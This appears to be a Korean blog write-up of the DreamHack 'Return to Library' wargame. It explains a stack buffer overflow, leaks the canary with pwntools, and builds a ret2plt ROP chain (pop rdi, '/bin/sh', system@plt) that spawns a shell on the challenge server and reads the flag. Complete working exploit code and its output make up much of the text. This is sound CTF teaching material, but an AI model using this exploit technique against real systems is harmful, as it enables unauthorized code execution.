rsp-∞

[DreamHack] Return to Library 본문

Write-ups/system

[DreamHack] Return to Library

portrait.kim 2024. 5. 25. 12:19

Return to Library는 공격자들로 하여금 실행 권한이 있는 영역의 주소를 반환시키는 공격 기법을 구현하게 한다. 이전에 드림핵에서 강의한 NX로 인해 셸 코드의 실행은 어려우나, 공격자들에게는 코드 영역과 라이브러리 영역에 대한 실행 권한이 남아 있다. 라이브러리는 여러 함수의 집합이므로 공격자의 입장에서는 당연히 코드 영역보다 라이브러리 영역에 집중할 수밖에 없는데, 카나리처럼 이 라이브러리 안에 있는 함수로 NX를 우회하고 셸을 획득하는 방법을 고안해 내고 그 이름을 Return to Library, 이하 RTL이라고 했다.

 

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt'");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

 

워게임에 첨부된 문제의 c 파일이다. 취약점은 위 함수를 실행할 공격자가 직접 버퍼의 크기를 지정할 수 있다는 점과 입력값의 크기를 검증하지 않고 받는 printf와 read 등의 함수이다. 버퍼의 크기가 30으로 지정되어 있으나 read 함수가 100의 크기만큼 값을 읽어 올 수 있으므로 버퍼 오버플로우를 노려 볼 수 있다.

 

Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

 

checksec을 통해 적용되어 있는 보호 기법을 확인한다. NX과 카나리가 활성화되어 있으나, PIE가 적용되어 있지 않다. 코드 세그먼트와 데이터 세그먼트, PLT의 주소가 고정됨을 알 수 있다.

 

해당 파일의 8번째 줄을 /bin/sh를 코드에 추가한다. 그리고 17번째 줄은 PLT에 system을 추가하기 위해 작성된 코드이다. PLT는 라이브러리 함수를 참조하는 데 사용되는데, 함수의 주소가 resolve되지 않았을 때 주소를 구하고 실행하는 코드가 적혀 있다. 즉 PLT에 어떤 라이브러리 함수가 있는 경우, PLT 엔트리를 실행함으로써 함수를 실행할 수 있다. 앞서 언급한 PIE가 적용되어 있지 않아 PLT의 주소가 고정된다는 것은 라이브러리의 베이스 주소를 몰라도 실행이 가능하다는 뜻이다. 이러한 방식으로 라이브러리 함수를 실행시키는 방식이 Return to PLT이다. 위 코드의 20번째 줄부터는 이전에 배웠던 카나리를 우회하는 코드가 구현되어 있다.

Dump of assembler code for function main:
   0x00000000004006f7 <+0>:	push   rbp
   0x00000000004006f8 <+1>:	mov    rbp,rsp
   0x00000000004006fb <+4>:	sub    rsp,0x40
   0x00000000004006ff <+8>:	mov    rax,QWORD PTR fs:0x28
   0x0000000000400708 <+17>:	mov    QWORD PTR [rbp-0x8],rax
   0x000000000040070c <+21>:	xor    eax,eax
   0x000000000040070e <+23>:	mov    rax,QWORD PTR [rip+0x20095b]        # 0x601070 <stdin@@GLIBC_2.2.5>
   0x0000000000400715 <+30>:	mov    ecx,0x0
   0x000000000040071a <+35>:	mov    edx,0x2
   0x000000000040071f <+40>:	mov    esi,0x0
   0x0000000000400724 <+45>:	mov    rdi,rax
   0x0000000000400727 <+48>:	call   0x400600 <setvbuf@plt>
   0x000000000040072c <+53>:	mov    rax,QWORD PTR [rip+0x20092d]        # 0x601060 <stdout@@GLIBC_2.2.5>
   0x0000000000400733 <+60>:	mov    ecx,0x0
   0x0000000000400738 <+65>:	mov    edx,0x2
   0x000000000040073d <+70>:	mov    esi,0x0
   0x0000000000400742 <+75>:	mov    rdi,rax
   0x0000000000400745 <+78>:	call   0x400600 <setvbuf@plt>
   0x000000000040074a <+83>:	mov    edi,0x40087c
   0x000000000040074f <+88>:	mov    eax,0x0
   0x0000000000400754 <+93>:	call   0x4005d0 <system@plt>
   0x0000000000400759 <+98>:	mov    edi,0x40088d
   0x000000000040075e <+103>:	call   0x4005b0 <puts@plt>
   0x0000000000400763 <+108>:	mov    edi,0x40089d
   0x0000000000400768 <+113>:	mov    eax,0x0
   0x000000000040076d <+118>:	call   0x4005e0 <printf@plt>
   0x0000000000400772 <+123>:	lea    rax,[rbp-0x40]
   0x0000000000400776 <+127>:	mov    edx,0x100
   0x000000000040077b <+132>:	mov    rsi,rax
   0x000000000040077e <+135>:	mov    edi,0x0
   0x0000000000400783 <+140>:	call   0x4005f0 <read@plt>
   0x0000000000400788 <+145>:	lea    rax,[rbp-0x40]
   0x000000000040078c <+149>:	mov    rsi,rax
   0x000000000040078f <+152>:	mov    edi,0x4008a3
   0x0000000000400794 <+157>:	mov    eax,0x0
   0x0000000000400799 <+162>:	call   0x4005e0 <printf@plt>
   0x000000000040079e <+167>:	mov    edi,0x4008ac
   0x00000000004007a3 <+172>:	call   0x4005b0 <puts@plt>
   0x00000000004007a8 <+177>:	mov    edi,0x40089d
   0x00000000004007ad <+182>:	mov    eax,0x0
   0x00000000004007b2 <+187>:	call   0x4005e0 <printf@plt>
   0x00000000004007b7 <+192>:	lea    rax,[rbp-0x40]
   0x00000000004007bb <+196>:	mov    edx,0x100
   0x00000000004007c0 <+201>:	mov    rsi,rax
   0x00000000004007c3 <+204>:	mov    edi,0x0
   0x00000000004007c8 <+209>:	call   0x4005f0 <read@plt>
   0x00000000004007cd <+214>:	mov    eax,0x0
   0x00000000004007d2 <+219>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000004007d6 <+223>:	xor    rcx,QWORD PTR fs:0x28
   0x00000000004007df <+232>:	je     0x4007e6 <main+239>
   0x00000000004007e1 <+234>:	call   0x4005c0 <__stack_chk_fail@plt>
   0x00000000004007e6 <+239>:	leave  
   0x00000000004007e7 <+240>:	ret    
End of assembler dump.

 

main을 디스어셈블한 결과이다. 여기서 스택 구조를 그려 보면 buf[0x30]의 크기가 48, 그 밑으로 dummy, 카나리, RBP, RET가 각각 8바이트씩의 크기로 스택을 구성함을 알 수 있다. 그러면 버퍼에서 카나리의 값을 덮어 씌우기 위해서는 48+8+1, 즉 57바이트를 임의의 값으로 채우면 된다. 

 

from pwn import *

def slog(name, addr):
    return success(": ".join([name, hex(addr)]))

p = process("./rtl")
e = ELF("./rtl")

buf2sfp = 0x40
buf2cnry = 0x40 - 0x8
payload = b'A'*(buf2cnry + 1)
p.sendafter("Buf: ", payload)
p.recvuntil(payload)
canary = u64(b'\x00'+p.recvn(7))
slog("Canary", canary)

 

카나리를 우회하는 코드를 작성하고 실행시킨다.

 

$ python3 rlt_canary.py
[+] Starting local process './rtl': pid 3823
[*] '/home/chaehyeonkim/Downloads/b910a354-7cbc-4869-b859-7056ee998f87/rtl'
[+] Canary: 0xfb8161b6a4c70e00
[*] Stopped process './rtl' (pid 3823)

 

(파일 이름을 rtl이라고 안 하고 rlt라고 해 버렸다.) 카나리 값을 출력했다. 이제 RTL 방식을 사용해서 익스플로잇을 하면 카나리와 NX를 모두 우회하여 셸을 획득할 수 있을 것이다.

 

앞서 PIE가 적용되어 있지 않아 코드와 데이터 세그먼트, PLT 값까지 모두 고정되어 있음을 언급했다. 여기서는 마찬가지로 /bin/sh의 주소와 PLT의 주소를 알 수 있다. Return Address Overwrite에서 system(“/bin/sh”)을 호출하면 셸을 획득할 수 있다고 했는데, x64 체제에서는 rdi의 값이 /bin/sh일 때 system 함수를 호출한다. 그러므로 우리는 /bin/sh의 값을 rdi에 집어넣으면 되는데, 여기서 리턴 가젯이 필요하다.

 

$ ROPgadget --binary ./rtl --re "pop rdi"
Gadgets information
============================================================
0x0000000000400853 : pop rdi ; ret

Unique gadgets found: 1

 

나는 옵션을 사용하여 찾고 싶었던 부분의 가젯만 출력하였다. 

 

from pwn import *

p = remotㄷ("host3.dreamhack.games", 14070)
e = ELF("./rtl")
libc = e.libc
r = ROP(e)

def slog(name, addr): return success(': '.join([name, hex(addr)]))

buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

system_plt = e.plt['system']
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285

payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)

pause()
p.sendafter(b'Buf: ', payload)

p.interactive()

 

전체 익스플로잇 코드로 카나리와 NX를 우회하고 있다. pop_rdi에서 가젯의 값을 rdi에 집어넣은 것을 볼 수 있다.

 

$ python3 rtl.py
[+] Opening connection to host3.dreamhack.games on port 14070: Done
[*] Loaded 14 cached gadgets for './rtl'
[+] canary: 0x6614f009bcfc2d00
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ cat flag
DH{13e0d0ddf0c71c0ac4410687c11e6b00}

 

셸을 획득하여 플래그를 얻었다.